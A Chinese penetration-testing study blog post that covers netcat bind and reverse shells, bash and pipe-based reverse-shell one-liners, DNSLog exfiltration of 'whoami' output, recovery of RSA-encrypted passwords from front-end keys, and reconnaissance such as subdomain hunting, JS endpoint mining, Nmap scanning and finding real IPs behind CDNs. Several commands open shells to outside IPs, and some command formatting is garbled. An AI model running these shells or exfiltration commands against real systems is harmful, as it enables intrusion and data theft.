欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 社会 > 【赛博保安】安全日记反弹Shell加密算法信息打点(二)

【赛博保安】安全日记反弹Shell加密算法信息打点(二)

2024/12/24 5:14:54 来源:https://blog.csdn.net/Augenstern_QXL/article/details/144283609  浏览:    关键词:【赛博保安】安全日记反弹Shell加密算法信息打点(二)

  • "企业的信息安全治理水平,直接取决于安全团队人员的技术专业度,而非运营经验值。所谓的技术,并非指渗透和挖洞的能力,而是指软件开发、IT 架构、网络拓扑相关的知识和经验。

  • 站在乙方的角度来看,技术薄弱的安全人员,通常面临着较大的沟通障碍和成本,因为他们难以理解和区分不同安全技术和产品之间的差异。更难以理解自身企业的 IT 和技术现状,无法做出有效且大胆的决策,通常容易被大品牌厂商引导或者选择尽量不作为以此求稳。最终在各方妥协和博弈之下,做出花大钱,成效较差的短期决策。而这些决策,往往在下一任上任之时,予以推翻。

  • 相反,拥有较强技术背景的安全团队,非常明确知道自己想要什么,不会被厂商引导,相对不在意厂商在“付费安全排行榜”中的名次。在企业内部面对业务团队的挑战时,通常也能占有主动权,做出正向的决策,既帮助企业省钱,也帮助企业打下长治久安的基础。"

    ——————引用自 [安全工程的兴起及其如何改变未来的网络安全]
    

安全日记之常用术语

  • 1、操作系统常用命令
    • 1.1、CMD
      • 1.1.1、cd命令
      • 1.1.2、查看目录文件
      • 1.1.3、创建目录和删除目录
      • 1.1.4、清屏
      • 1.1.5、复制文件
      • 1.1.6、移动文件
      • 1.1.7、删除文件
      • 1.1.8、tasklist
      • 1.1.9、netstat
      • 1.1.10、whoami
    • 1.2、权限
  • 2、内外网
  • 3、反弹Shell
    • 3.1、netcat
      • 3.1.1、正向连接
      • 3.1.2、反向连接
    • 3.2、文件传输
    • 3.3、端口扫描
    • 3.4、反弹Shell(Bash)
    • 3.5、反弹Shell(Python)
    • 3.6、反弹Shell(不支持 -e 参数)
  • 4、文件上传下载
  • 5、管道符
    • 5.1、DNSLog
  • 6、加密算法
    • 6.1、单向散列加密MD5
    • 6.2、BASE64
    • 6.3、对称加密AES
    • 6.4、非对称加密RSA
    • 6.5、思路剖析
  • 7、信息打点
    • 7.1、whois查询
    • 7.2、备案查询
    • 7.3、收集子域名
      • 7.3.1、intitle=公司名称
      • 7.3.2、FOFA
      • 7.3.3、钟馗之眼
      • 7.3.4、dns侦测
      • 7.3.5、证书查询
      • 7.3.6、鹰图平台
    • 7.4、威胁情报
      • 7.4.1、微步在线情报社区
      • 7.4.2、奇安信威胁情报中心
      • 7.4.3、360威胁情报中心
      • 7.4.4、暴力枚举🔥
    • 7.5、资产指纹
      • 7.5.1、TideFinger潮汐
      • 7.5.2、Wappalyzer插件
  • 8、JS前端架构
    • 8.1、JS渗透测试
      • 8.1.1、Chrome渗透测试
      • 8.1.2、BurpSuite渗透测试
      • 8.1.3、Findsomething插件
      • 8.1.4、URLFinder
      • 8.1.5、Ffuf爆破神器
  • 9、识别端口扫描
    • 9.1、Nmap
    • 9.2、识别WAF
    • 9.3、识别蜜罐
    • 9.4、识别CDN
      • 9.4.1、全自动

1、操作系统常用命令

1.1、CMD

1.1.1、cd命令

# 进入d盘
D:
# 进入F盘
F:# 跳转到当前硬盘的其他目录
cd CodeDocs# 跳转到上一层目录
cd ..# 清屏
cls

1.1.2、查看目录文件

# 查看当前目录下的文件,类似于linux下的ls
dir

1.1.3、创建目录和删除目录

# 创建目录
md 目录名(文件夹)
md test
# 删除目录
rd 目录名(文件夹)
rd test

1.1.4、清屏

# 类似于linux下的clear
cls

1.1.5、复制文件

# copy 路径\文件名 路径\文件名
# 将D盘下test目录下的文件全部拷贝到E盘下的test目录
copy D:\test E:test

1.1.6、移动文件

# move 路径\文件名 路径\文件名# 将D盘下test目录下的文件全部移动到E盘下的test目录
copy D:\test E:test

1.1.7、删除文件

# 这个是专门删除文件的,不能删除文件夹
del 文件名

1.1.8、tasklist

列出所有任务及进程号

tasklist

1.1.9、netstat

查看网络连接状态显示协议统计信息和当前 TCP/IP 网络连接。该命令可以查看当前机器建立的所有网络链接状态,以及对应哪个进程。

# 查看网络连接、状态以及对应的进程id
netstat -ano

1.1.10、whoami

# 显示您当前登录并在Windows中使用的用户
whoami

1.2、权限

Windows机器上的最高权限是系统权限,也就是System,一般个人使用的是 Administrator 权限,不会使用最高的系统权限 System,再下来的权限就是普通User权限。

我们一般自己创建的电脑用户其实是隶属于 Administrator 组下的。

在这里插入图片描述

2、内外网

在这里插入图片描述

这里先解释一下内外网之间的访问,一般内网可以访问到外网,但是外网是无法访问到内网的。

举个例子,在自己的笔记本电脑上开个虚拟机W10,那么这个虚拟器Windows10访问www.linxiaoqin.com是可以通过网关 - 互联网 - 外网,可以访问到外网,但是外网要访问内网是访问不了了,最多只能找到内网的网关,但是没法找到到底是内网网关下的哪台机器。

在这里插入图片描述

如上图,客户端访问服务端,防火墙会拦截入站流量,但是对于出站的会很宽松,所以我们只需要将 netcat 软件分别在客户端和服务端下载,由服务器主动连接客户端,防火墙就不会限制,服务器通过反弹Shell到客户端,这样我们就可以直接通过客户端敲击命令,相当于在服务器敲击命令

3、反弹Shell

反弹Shell,是一种网络攻击技术。它通过在受攻击主机上植入恶意代码,然后与该主机上运行的Shell(命令行终端)建立反向连接,从而使的攻击者能够控制受攻击的主机。与正向的SSH不同。

3.1、netcat

  1. Windows下载地址:https://eternallybored.org/misc/netcat/

我这里下载 netcat 1.12 版本,解压缩,将nc64.exe 在cmd中执行

[!NOTE]

参考链接:

  • Windows环境安装nc
  • 畅通使用windows环境的nc
  • Linux环境安装nc
  • netcat 会报毒,我这里是将其放在信任区即可
  1. 创建nc连接,客户端执行如下命令
# nc -l -p [localport]
# 监听4444端口
nc64.exe -l -p 4444
  • -l表示启动监听模式
  • -p表示监听的端口号
  1. 在虚拟机Linux上创建nc连接
# nc [remote-addr] [remoteport]
# remote-addr 就是我们的Windows机器
nc 192.168.31.79 4444

这样二者就达成了通讯,就可以互相发送消息了!

在这里插入图片描述

3.1.1、正向连接

正向连接:本地监听等待连接

如果我们要对Linux机器进行命令执行,就需要反弹Shell:

  1. 在Windows10创建连接
# nc -l -p [localport] -e cmd.exe
nc -l -p 4444 -e cmd.exe
  • -e: 对方连接后会启动 cmd 命令窗口
  1. 在虚拟机Linux上接收nc连接
# nc [remote-addr] [remoteport]
# remote-addr 就是我们的Windows机器
nc 192.168.31.79 4444

在这里插入图片描述

这样就可以通过Linux来对Windows进行各种cmd命令操作了。

也就是我们拿到了对方机器的Shell

3.1.2、反向连接

反向连接:主动给出去

  1. 在Windows上执行:把权限主动给到49.232.28.15的4444端口
nc -e cmd 49.232.28.15 4444
  1. 在Linux上监听
nc -lvp 4444

3.2、文件传输

使用NC也可以进行文件传输

  1. 在Windows客户端接受
# nc -l -p [localport] > outfile
nc -l -p 4444 > D:\test.txt
  1. 在Linux发送
# nc [remote_addr] [remoteport] < infile
nc -l -p 4444 < test.txt

3.3、端口扫描

nc -v -n -z -w1 [target_id] [start_target_port-stop_target_port]
  • -v:表示对错误进行详细输出
  • -n:不对目标机器进行DNS解析
  • -z:zero I/O 模式,专用于端口扫描,表示对目标IP发送的数据表中不包含任何 payload,这样做可以加快扫描速度
  • -w1: 超时设置为1s

3.4、反弹Shell(Bash)

当我们拿到服务器权限后,如果要设置一个反弹Shell,但是服务器上没有安装Netcat

在这里插入图片描述

  1. Linux中输入反弹Shell命令:
# 反弹shell命令
# bash -i >& /dev/tcp/remote_ip/port 0>&1
bash -i >& /dev/tcp/192.168.31.79/888 0>&1
  1. Windows监听端口命令
# nc -lvp port
# 监听任何连接到8888端口的连接
nc -lvp 8888

在这里插入图片描述

最终的结果就是在 Windows 上拿到了 Linux 的bash!这样我们就可以通过bash下载 netcat 了

在这里插入图片描述

[!NOTE]

  • 反弹Shell生成器

3.5、反弹Shell(Python)

目标服务器无Netcat,但是安装了Python,一般Linux系统会自带python

在这里插入图片描述

通过Shell生成器即可生成Shell命令

在这里插入图片描述

3.6、反弹Shell(不支持 -e 参数)

在这里插入图片描述

  1. Linux的反弹Shell命令如下
nc ip port | /bin/bash | nc ip port
  1. Windows上需要监听两个端口,开两个cmd
nc -lvp 8888nc -lvp 8889

这样就可以绕过禁止-e参数

4、文件上传下载

文件上传下载的命令可以解决无图形化的情况,这里可以使用棱角社区

在这里插入图片描述

通过填写服务器IP、端口、源文件名、下载后的目录(例如:D:\\nc.exe)来生成文件下载命令,就可以直接使用命令来下载服务器上的文件了:

在这里插入图片描述

解决我们在渗透环境中没有图形化又要去上传文件的情况,可以事先把文件放在某个服务器上,让对方远程来下载。

5、管道符

Windows上的管道符有四个:

  • | :管道符号
  • & :逻辑或
  • ||:逻辑与
  • &&:后台任务符号

Linux上的管道符有六种:

  • | :管道符号
  • & :逻辑或
  • ||:逻辑与
  • &&:后台任务符号
  • ``
  • ;

Windows上没有 `` 和 ;

  • | 管道符可以将两个命令分隔开,| 左边命令的输出就会作为 | 右边命令的输入,ping 127.0.0.1 | whoami 会执行后谜案的命令
  • ||会使两边的命令都执行

在这里插入图片描述

  • `` 可以使得命令被执行

在这里插入图片描述

  • ;分号也是如此

在这里插入图片描述

[!note]

  • 思考一下,假如防火墙出入站规则做了限制,那么岂不是反弹Shell就没法搞了?
  • 假如对方将命令回显关闭,命令不回显,那么岂不是反弹Shell就没法搞了?

思路转换:

  1. 执行一个命令之后什么都没有回显,我们尝试将数据带出看目标有没有反应,也就是利用管道符执行命令看结果。
  2. 虽然防火墙进行阻断了,但是我们仍旧可以执行带外查询(也就是借助管道符)的原因是防火墙阻断的是TCP和UDP协议,而Ping命令是ICMP协议,层级比他们高,所以可以成功执行

5.1、DNSLog

首先我们知道DNS是ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件,我们可以借助免费的DNS解析记录网站:http://www.dnslog.cn/

  1. 首先Get SubDomain

在这里插入图片描述

  1. 我们使用如下命令,可以在DNS日志里面看到当前的登录角色。(点击Refresh Record 就可以显示)
ping `whoami`.t3g82x.dnslog.cn

在这里插入图片描述

  • 但是Linux系统具有 `` 符号,可以带外回显。
  • Windows 不具备 `` 符号 ,无法带外回显。

解决办法是使用PowerShell,用到PowerShell的变量赋值功能去把whoami的执行结果给变量:

# 1. win+r 调出 cmd窗口,进入 powershell
powershell# 2.将whoami命令赋值给x
$x=whoami# 2.1 使用变量赋值对斜杠进行替换(将 \ 替换成 xxxx )
$x = $x.replace('\','xxxx')# 3.将目标地址赋值给y
$y='.dnslog生成的域名'# 4.将两个变量的结果加起来赋值给z
$z=$x+$y#5.回显$z命令执行的结果
echo $z#6.ping
ping $z

在这里插入图片描述

所以我针对我自己的电脑名做了替换,之后进行ping,就可以有DNS记录了。这样就解决了Windows下没有 `` 符号导致不回显。

在这里插入图片描述

6、加密算法

6.1、单向散列加密MD5

单向散列加密(以MD5为例)的优点有:

  • 方便存储、损耗低,加密/解密对于性能的损耗微乎其微
  • 单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。我们都知道MD5加密也是可以破解的。
  • 常见的单向散列加密算法有:MD5、SHA、MAC、CRC

MD5密文特点:

  1. 由数字 0-9 和 字母 a-f 所组成的字符串
  2. 固定的位数 16 和 32 位
  3. 解密需求:明文、密文有了即可解密,但是复杂的明文可能解不出
  4. 解密的原理其实就是密文碰撞
    • 因为固定的1、2、3、4等所对应的密文是固定的

推荐两个在线加密/解密的网站:

  • SoJson
  • 锤子工具

6.2、BASE64

特征:

  • 一般情况下密文尾部都会有两个等号,明文很少的情况下尾部无两个等号。
  • 明文越长,密文越长
  • 一般不会出现/+在密文中

6.3、对称加密AES

  • 对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
  • 缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。
  • 常见的对称加密算法有:DES、AES、RC4

解密是算法逆向,并非密文碰撞

  • 一般密文会出现/+在密文中

  • 解密需求:明文、加密模式、密码、偏移量

6.4、非对称加密RSA

  • 非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
  • 缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
  • 常见的非对称加密算法:RSA、RSA2、PKCS

解密需求:密文、公钥或者私钥其一即可解出

  • 一般密文会出现/+在密文中,且长度较长

  • 对方用公钥加密,则可用私钥解密

  • 对方用私钥加密,则可用公钥解密

6.5、思路剖析

假如拿下了数据库,找到了加密的密码,可以猜测其用的什么加密方式。

  • 一般得去源码中看加密代码块,然后根据加密代码块找到公钥、私钥等信息进行解密

我这里以若依分离版为例:

  1. 在登录的时候发现提交的payload里面的password字段是加密状态,长度很长,且以==结尾,猜测其加密方式是非对称加密RSA

在这里插入图片描述

  1. 在源码里面找到其加密的公钥私钥

在这里插入图片描述

  1. 去在线网站进行解密,发现可以解密出明文

在这里插入图片描述

注意Tips:JavaScript的公钥私钥因为要换行,所以加了一些\n并且使用+进行字符串拼接,可别无脑进行复制呦!

使用JS在线运行网站将代码运行一下结果:

在这里插入图片描述

由此可见,开发过程中即使使用非对称加密RSA,最好也用随机的公私钥呦!

7、信息打点

通常拿到一个ip或者域名,或者企业信息等,需要对其进行打点,也就是信息搜集过程。

7.1、whois查询

通过whois来对域名信息进行查询,可以查到注册商、注册人、邮箱、DNS解析服务器、注册人联系电话等。

  1. 站长之家域名whois信息查询:站长之家

在这里插入图片描述

  1. 爱站网域名Whois查询:爱站网

在这里插入图片描述

  1. 腾讯云域名Whois查询:腾讯云
  2. 阿里云域名Whois查询:阿里云

在这里插入图片描述

这个时候再借助一下Chatgpt解释整个Whois记录:

在这里插入图片描述

7.2、备案查询

网站备案信息是根据国家法律法规规定,由网站所有者向国家有关部门申请的备案,查询企业备案信息(单位名称、 备案编号、网站负责人、电子邮箱、联系电话、法人等),推荐以下网站查询:

  1. 域名助手备案信息查询:域名助手

在这里插入图片描述

  1. ICP备案查询网:ICP备案查询

在这里插入图片描述

在这里插入图片描述

  1. 爱站备案查询:爱站备案查询

在这里插入图片描述

7.3、收集子域名

收集子域名可以扩大测试范围,同一域名下的二级域名都属于目标范围。子域名中的常见资产类型一般包括办公系统,邮箱系统,论坛,商城,其他管理系统,网站管理后台也有可能出现子域名中。 首先找到目标站点,在官网中可能会找到相关资产(多为办公系统,邮箱系统等),关注一下页面底部,也许有管理后台等收获。

7.3.1、intitle=公司名称

在浏览器中输入 intitle:广发银行 是一种使用高级搜索运算符的方式,来帮助你更精确地进行网络搜索。

在这里插入图片描述

7.3.2、FOFA

  1. 进入FOFA网站:FOFA

  2. 输入语法title="广发银行"

在这里插入图片描述

在搜索界面可参考查询语法

7.3.3、钟馗之眼

  1. 进入钟馗之眼:钟馗之眼

在这里插入图片描述

7.3.4、dns侦测

  1. 进入dns侦测,输入域名

在这里插入图片描述

下面的这张图可以让通义帮忙回答:

在这里插入图片描述

7.3.5、证书查询

HTTPS是会带有证书的,那么有可能一个公司的域名会带的证书是一致的,那么也是很方便我们收集到子域名的。

  1. 进入crt.sh,输入根域名,例如chinagfb.com,切记不要加路径,也不要加子域名在前面

在这里插入图片描述

如上,也就查到了同一个证书下的其他域名。缺点是只针对的是https

7.3.6、鹰图平台

  1. 进入鹰图平台

在这里插入图片描述

7.4、威胁情报

通过威胁情报也是可以收集到子域名的

7.4.1、微步在线情报社区

  1. 进入微步在线情报社区

在这里插入图片描述

7.4.2、奇安信威胁情报中心

  1. 进入奇安信威胁情报中心

7.4.3、360威胁情报中心

  1. 进入360威胁情报中心

7.4.4、暴力枚举🔥

这里推荐一款功能强大的子域名收集工具OneForAll

7.5、资产指纹

假如在打开某个网站,要想知道这个网站使用到什么技术,使用什么框架等搭建而成怎么做呢?这个时候就可以查询资产指纹了!

7.5.1、TideFinger潮汐

  1. 进入TideFinger潮汐

在这里插入图片描述

点击了解Tide安全团队开源平台

7.5.2、Wappalyzer插件

谷歌浏览器可以安装Wappalyzer插件

在这里插入图片描述

8、JS前端架构

8.1、JS渗透测试

  • 什么是JS渗透测试?

JS渗透测试通常指的是针对使用JavaScript编写的Web应用程序进行的安全评估过程。JavaScript是一种广泛应用于Web开发的语言,用于创建交互式的网页内容。由于JavaScript在客户端执行,它成为了攻击者重点关注的目标之一。一般可以通过浏览器的查看源代码获取URL、获取JS敏感信息、获取代码传参等,所以相当于JS开发的WEB应用属于白盒测试(默认有源码参考),一般会在JS中寻找更多的URL地址,在JS代码逻辑(加密算法、APIkey配置、验证逻辑等)进行后期安全测试。

我的理解是对JS里面留存的一些敏感信息、url什么的可以被获取到。

8.1.1、Chrome渗透测试

我这里以若依不分离版本来进行JS渗透测试:

  1. 在登录页面在Chrome上抓包,选取JS

在这里插入图片描述

  1. Ctrl+F 可以搜索如下关键字词
src= path= method:"get"method:"post"http.get("http.post("$.ajax

在这里插入图片描述

如上图,我们通过搜寻关键字$.ajax发现login.js里面挖掘到两个url,分别是ctx+"login"ctx+"index",但是我们没找到ctx是什么前缀,这个时候可以在网页源代码或许有时候可以找到,

在这里插入图片描述

你可以自己运行一下,这里的ctx其实就是/

在这里插入图片描述

所以其实可以挖掘到两个路由/login/index,从开发的角度看,/index就是登录后的页面,一般都需要先登录。这么找效率太慢了是不是,所以可以借用一下BurpSuite的插件工具。

8.1.2、BurpSuite渗透测试

半自动模式:BurpSuite 可以安装第三方插件HaE,HaE是基于 BurpSuite Java插件API 开发的请求高亮标记与信息提取的辅助型框架式插件,该插件可以通过自定义正则的方式匹配响应报文或请求报文,并对满足正则匹配的报文进行信息高亮与提取。

  • 现代化Web应用走上前后端分离开发模式,这就导致在日常测试时候会有许多的流量,如果你想要尽可能全面的对一个Web应用进行测试评估,将花费大量精力浪费在无用的报文上;HaE的出现正是为了解决这一类似场景,借助HaE你可以有效的减少测试的时间,将更多的精力放在有价值、有意义的报文上,提高漏洞挖掘效率

在这里插入图片描述

通过对HTTP报文的颜色高亮、注释和提取,帮助使用者获取有意义的信息,聚焦高价值报文

  1. 下载HaE插件

在这里插入图片描述

  1. 抓的包就会带有颜色标识,表示触发了相应的规则,比如下面的 HTML中包含中文,这就大大的节省了我们自己找的过程。

在这里插入图片描述

好文推荐:HaE入门到精通:三条影响你一生的HaE规则

[!note]

上面这样半自动式我们如果还是不满意,想要全自动式怎么办呢?接着看下去!

8.1.3、Findsomething插件

在Chrome的扩展商店即可下载到 FindSomething 浏览器插件,用于快速在网页的html源码或js代码中提取一些有趣的信息,包括可能请求的资源、接口的url,可能请求的ip和域名,泄漏的证件号、手机号、邮箱等信息。

在这里插入图片描述

例如若依不分离版本,我们来看:

在这里插入图片描述

在登录页嗅探到了两个path,/register/404.html,我们尝试,发现果然可以!

在这里插入图片描述

8.1.4、URLFinder

URLFinder 一款快速提取检测页面中JS与URL的工具,通常用于快速查找隐藏在页面或js中的敏感或未授权api接口 。

  • GitHub地址
  1. 下载Releases的版本

在这里插入图片描述

  1. 在cmd中使用
URLFinder.exe -u http://www.baidu.com -s all -m 3

我这里以若依不分离版本的进行扫描

在这里插入图片描述

8.1.5、Ffuf爆破神器

从上面的图我们可以看到,我们在/login页面,只能跑出部分js,例如登录后的js就跑不出来,那么这个时候就可以借用Ffuf爆破神器来解决。

  • Ffuf

  • 需要配合字典使用:https://wordlists.assetnote.io/

在这里插入图片描述

点击下载浏览器本身的下载好像下载不下来,我使用迅雷下载下来的。

  • 参考教程

9、识别端口扫描

9.1、Nmap

我是在Windows上使用的Nmap扫描工具,在吾爱上下载的。

  • 下载地址:Nmap7.95汉化版

  • 参考

Zenmap有几种扫描方式:

  1. Intense Scan:一般扫描
  2. Intense Scan plus UDP:UDP扫描
  3. Intense Scan,all TCP ports:扫描所有TCP端口,范围在1-65535,试图扫描所有端口的开放情况,速度比较慢
  4. Intense Scan,no ping:非ping扫描
  5. Ping Scan:Ping扫描,速度快,容易被防火墙屏蔽,导致无扫描结果
  6. Quick Scan:快速的扫描
  7. Quick Scan Plus:快速扫描加强模式
  8. Quick traceroute:路由跟踪

一般 Quick Scan Plus 即可,

在这里插入图片描述

其中状态有三种:open、closed、filtered

  • filtered 表示 nmap 不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙导致的。

这里其实有部分端口可能扫不到,主要有两个考虑点:

  1. 防火墙阻止了nmap扫描
  2. 内外网

9.2、识别WAF

WAF分类:

  • 云WAF:百度安全宝、阿里云盾、长亭雷池,华为云,亚马逊云等
  • 硬件WAF:绿盟、安恒、深信服、知道创宇等公司商业产品
  • 软件WAF:宝塔,安全狗、D盾等
  • 代码级WAF:自己写的waf规则,防止出现注入等,一般是在代码里面写死的

这里我突然发现,宝塔有免费的Nginx防火墙(WAF)+ OpenRASP。有时间有条件的情况下再来试试,可惜服务器马上就要到期了,然后发现现在价格翻了2倍/(ㄒoㄒ)/~~

在这里插入图片描述

我们在对一些网站实行SQL注入时可能会碰到WAF,那么我们如何识别是否遇到的是WAF拦截呢?这里就可以使用WAF指纹识别工具 WAFW00F

  1. 下载源码

在这里插入图片描述

  1. 解压源码,在解压的目录运行cmd
python setup.py install

在这里插入图片描述

然后发现也可以直接不下载源码,使用pipx下载安装,不过我没试:

pipx install git+https://github.com/EnableSecurity/wafw00f.git
  1. 使用
# 列出可以识别出的防火墙
wafw00f -l# 探测站点是否有waf
wafw00f https://www.baidu.com

在这里插入图片描述

9.3、识别蜜罐

蜜罐概念这里就不提了,但是每年HW时蓝队都会准备很多的蜜罐来迷惑红队,这里认识一款免费的蜜罐工具HFish

  • 官网地址:HFish

在这里插入图片描述

可以自己玩玩哈哈!现在识别蜜罐的方式和项目很多,比如 quake_rs 项目:

  • quake_rs
  1. 下载zip

在这里插入图片描述

  1. 初始化
    • apikey 在 https://quake.360.net/quake 个人中心处
quake init apikey

在这里插入图片描述

  1. 测试
quake.exe honeypot 106.75.77.168

在这里插入图片描述

在这里插入图片描述

人工方式主要考虑三点:

  1. 开放端口多且有规律性
  2. Web访问开放端口协议就下载文件

9.4、识别CDN

  • 超级Ping:https://17ce.com/

在这里插入图片描述

从任意地访问发现解析的IP均为一个,这就说明没有使用CDN。

还有一个站长之家也可以测:超级Ping检测

在这里插入图片描述

那么现在对方用了CDN,我们如何找到对方的真实IP地址呢?有一个案例,假如对方网站支持忘记密码发送邮箱,或者注册账号发送邮箱,那么可以在邮箱中找到对方的真实IP地址,我这里简单以Vercel演示:

  1. 点击显示邮件原文

在这里插入图片描述

  1. 查找Received,可以看到对方真实IP

在这里插入图片描述

注意:假如发送方是注册了一个163、QQ邮箱来作为邮件发送方,那么上述方式就会失效。例如:

在这里插入图片描述

总结:一般通过邮件来判断对方真实IP必须条件

  1. 发信人是当前域名邮件用户名
  2. 发信人主动发过来的

9.4.1、全自动

还有一些全自动的方式,使用网站去查找真实IP:

  • Get Site Ip

在这里插入图片描述

在这里插入图片描述

参考即可吧,CDN没有什么绝对准确性。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com